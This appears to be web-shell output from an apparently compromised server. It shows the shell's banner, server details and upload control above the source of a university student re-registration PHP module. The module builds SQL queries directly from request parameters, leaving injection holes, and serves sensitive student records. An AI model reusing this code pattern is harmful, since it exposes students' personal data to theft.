0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.218.50.170


Current Path : /var/www/oasis/rrit/adm/src/
Upload File :
Current File : /var/www/oasis/rrit/adm/src/re_rigistration.php

<?php

function getRerigistrationDetails($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$page = trim($aobj_context->mobj_data["page"]);
	
	
	
	if($page == "registration")
	{
		$studregno = trim($aobj_context->mobj_data["studregno"]);
		$_SESSION["studregno"] = $studregno;
		$lpval_query = "select ifnull(ffreshexam,'') as ffreshexam, fdegree,
		 regcandsum.fcollcode, 
		ifnull(fadmallow,'') as fadmallow
		from regcandsum inner join college c on  regcandsum.fcollcode = c.fcollcode 
		and ifnull(fadmallow,'') = 'T'
		where fregno = '{$studregno}'";
		$rst = $aobj_context->mobj_db->getRow($lpval_query);
		
		if(($rst['ffreshexam'] == 'B' && $rst['fadmallow'] == 'T') || $rst['ffreshexam'] == 'C' || $rst['ffreshexam'] == 'D' )
		{
			
			$arr['msg'] = 'you are eligible go ahead';
    		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");
			
		}
		else
		{
			$arr['msg'] = "You are not eligible for re-rigistration contact university";
    		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"error");
		} 
		return;
	}
	
	$url = $aobj_context->main_src;
	//var_dump($url);
	$main_url = str_replace('kusdde/adm','kusdde',$url);
	//$main_url = $url.$main_url;
	//var_dump($main_url);
	$query2 = "select ifnull(s.FREGNO,'') as FREGNO,concat(ifnull(c.fcollname,''),'-',c.ftown) as fcollname, cs.ffreshexam as FEXAMNO, FNAME, FFATNAME, FTOTSUB, (ifnull(d.FADMFEE,0)+ifnull(d.FADMFINE,0)) as  FADMFEE,
		ifnull(FFAT_OCC,'') as FFAT_OCC, ifnull(FCASTE,'') as FCASTE,
		ifnull(FRELIGION,'') as FRELIGION, ifnull(s.FSEX,'') as FSEX, 
		ifnull(FHANDICAP,'') as FHANDICAP, ifnull(FNATIONAL,'') as FNATIONAL,
		ifnull(date_format(FDOB,'%d/%m/%Y'),'') as FDOB,  
		ifnull(FAADHARNO,'') as FAADHARNO,
		ifnull(s.FCURRADD1,'') as FCURRADD1, 
		ifnull(s.FCURRADD2,'') as FCURRADD2,  
		ifnull(s.FCURRADD3,'') as FCURRADD3, ifnull(FCURRDISTRICT,'') as FCURRDISTRICT,
		ifnull(FCURRSTATE,'') as FCURRSTATE, ifnull(FPERMPINCODE,'') as FCURRADDPIN, 
		ifnull(s.FPERMADD1,'') as FPERMADD1, ifnull(s.FPERMADD2,'') as FPERMADD2,
		ifnull(s.FPERMADD3,'') as FPERMADD3, ifnull(FPERMDISTRICT,'') as FPERMDISTRICT,
		ifnull(FPERMSTATE,'') as FPERMSTATE, ifnull(FCURRPINCODE,'') as FPERMADDPIN,
		ifnull(s.FMOBILENO,'') as FCONTACT_NO, ifnull(FLANDLINE,'') as FLANDLINE,
		ifnull(s.FEMAIL,'') as FEMAIL, ifnull(FINCOME,'') as FINCOME,  
		ifnull(s.FDEGREE,'') as FDEGREE, ifnull(FENGLISH,'') as FENGLISH, 
		ifnull(FCOMBCODE,'') as FCOMBCODE, ifnull(FBASICQAL,'') as FBASICQAL,  
		ifnull(FCENSTATE,'') as FCENSTATE, ifnull(FCENDISTRICT,'') as FCENDISTRICT,
		ifnull(s.FCOLLCODE,'') as FCOLLCODE, ifnull(FPREVREGNO,'') as FPREVREGNO,
		ifnull(FPREVCOMB,'') as FPREVCOMB, ifnull(FPREVELECTIVE,'') as FPREVELECTIVE,
		ifnull(FPASSMTHYEAR,'') as FPASSMTHYEAR,
		ifnull(FPREVCOLLEGE,'') as FPREVCOLLEGE,
		ifnull(s.FPHOTOPATH,'') as FPHOTOPATH, ifnull(FSIGNPATH,'') as FSIGNPATH, 
		ifnull(FDESCPN,'') as FDESCPN
		from student s
		inner join regcandsum cs on s.fdegree = cs.fdegree and cs.fregno = s.fregno
		inner join degree d on d.fdegree = cs.fdegree and d.fexamno = cs.fexamno 
		inner join college c on c.FCOLLCODE = s.FCOLLCODE
		where s.fregno = '{$_SESSION['studregno']}'";
	$rst = $aobj_context->mobj_db->getRow($query2);
	//var_dump($main_url.$rst['FPHOTOPATH']);

	//var_dump("http://logisys.net.in/kusdde/".$rst['FPHOTOPATH']);
	if(!file_exists ($main_url.$rst['FPHOTOPATH']))
	{
		//$rst['FPHOTOPATH'] = '';
		$photopath = substr($rst['FPHOTOPATH'],0,-3);
		$ext = substr($rst['FPHOTOPATH'],-3);
		$photopath = $photopath.strtoupper($ext);
		if(file_exists($main_url.$photopath))
		{
			$rst['FPHOTOPATH'] = "http://oasis.logisys.org/kusdde/".$photopath;
			
		}else
		{
			$rst['FPHOTOPATH'] = "";
		}		
	}
	else
	{
		$rst['FPHOTOPATH'] = "http://oasis.logisys.org/kusdde/".$rst['FPHOTOPATH'];
	}
	
	
	
	
	//$rst['FPHOTOPATH'] = "http://logisys.net.in/kusdde/".$rst['FPHOTOPATH'];
	$studdetails = json_encode($rst);
	//$_SESSION['studregno'] = '';
	echo $studdetails;
}

function getsubjectsforreregistration($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$degree = trim($aobj_context->mobj_data["degree"]);
	$exam = trim($aobj_context->mobj_data["exam"]);
	$regno = trim($aobj_context->mobj_data["regno"]);
	$maxsub = trim($aobj_context->mobj_data["ftotsub"]);
	$mbacombcode = trim($aobj_context->mobj_data["mbacombcode"]);
	

	$mba = "";

	if($degree == 'DNMB1' || $degree == 'DNMB')
		$mba = "and ifnull(FMBACOMBCODE,'') = '{$mbacombcode}'";	

	$query2 = "select distinct cd.fsubcode, s.fsubname, s.fprintord from regcanddet cd
	inner join subject s on cd.fdegree = s.fdegree and cd.fexamno = s.fexamno 
	and cd.fsubcode = s.fsubcode and ifnull(s.fintass,'') <> 'T' 
	where cd.fdegree = '{$degree}'  and cd.fexamno = '{$exam}' 
	and cd.fregno = '{$regno}' order by s.fprintord, s.fsubcode";
			//var_dump($query2);
	$result2   = $aobj_context->mobj_db->GetAll($query2);	
	//var_dump($result2);
	$html = "<div class='row' style = 'padding:30px;'><center><div class=' col-md-offset-2 col-md-8'><table id='mainTable' class='table table-striped table-condensed table-bordered'>
                        <thead>
                            <tr class='bg-cyan'>
                                <th style = 'width:8%;'><center>Sl. No.</center></th>
                                <th style = 'width:10%;'><center>Subject Code</center></th>
                                <th style = 'width:70%;'>Subject Name</th>
                            </tr>
                        </thead>
                        <tbody>";  
    $mand_sub = array();
    if($maxsub >count($result2))
	{
		$query3 = "select distinct fsubcode, fsubname from subject
				where ifnull(fintass,'') <> 'T' and ifnull(FRETAIN,'') <> 'T'
				and ifnull(FMANDATORY,'') <> 'T' and fdegree = '{$degree}' 
				and fexamno = '{$exam}' {$mba} order by fsubname";
		$result3   = $aobj_context->mobj_db->GetAll($query3);	
		$options   = "<option value = ''>--Select--</option>";
		foreach($result3 as $key =>$value)
		{
			$options .= "<option value = '{$value['fsubcode']}'>{$value['fsubname']}</option>";
		}
		//var_dump($options);
	}
    //if($result2)
   // {
	   //var_dump(count($result2));
	   $remaingsub = $maxsub - count($result2);
        for($i=1;$i<=$maxsub;$i++)
        {
			if($result2 && $i <= count($result2))
			{	
				$html .="<tr>";
				
				$html .="<td style = 'width:;'>
						<span><center>{$i}</center></span>
						</td>";
				$html .="<td style = 'width:;' id = 'subcode_$i'>
						<center>{$result2[$i-1]['fsubcode']}</center>
						</td>";
				$mand_sub[$i] = $result2[$i-1]['fsubcode'];
				$html .="<td style = 'width:;'>
						<span style=''>{$result2[$i-1]['fsubname']}</span>
						</td>";
				$html .="</tr>";
			}else
			{	
				if($i > count($result2))
				{
					$ophtml .="<tr>";
					$ophtml .="<td style = 'width:;'>
							<span><center>{$i}</center></span>
							</td>";
					$ophtml .="<td style = 'width:;' id = 'subcode_$i'>
								
							</td>";
					$ophtml .="<td style = 'width:;'>
							<select id = 'opsubcode_$i' class='form-control' onchange = 'getsubcode(this)'>{$options}</select>
							</td>";
					$ophtml .="</tr>";
				//var_dump($options);
				}
			}
		
        }
   // }
	//var_dump($ophtml);
    
    $html .=$ophtml;
    $html .= "</tbody></table></div><center></div>";
    $arr['html'] = $html;
    $arr['mand_sub'] = $mand_sub;
    $arr['opt_cnt'] = $remaingsub;
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  
    return;
}

?>